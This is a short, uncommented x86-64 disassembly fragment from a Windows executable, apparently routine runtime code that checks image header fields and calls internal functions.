cmp word [rcx + 0x18], ax
jne 0x1400357f3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400357f3
cmp dword [rcx + 0xf8], 0
je 0x1400357f3
mov ecx, ebx
call fcn.1400356bc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140035918
nop
cmp dword [rbp + 0x20], 0
je 0x140035841
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140035750
int3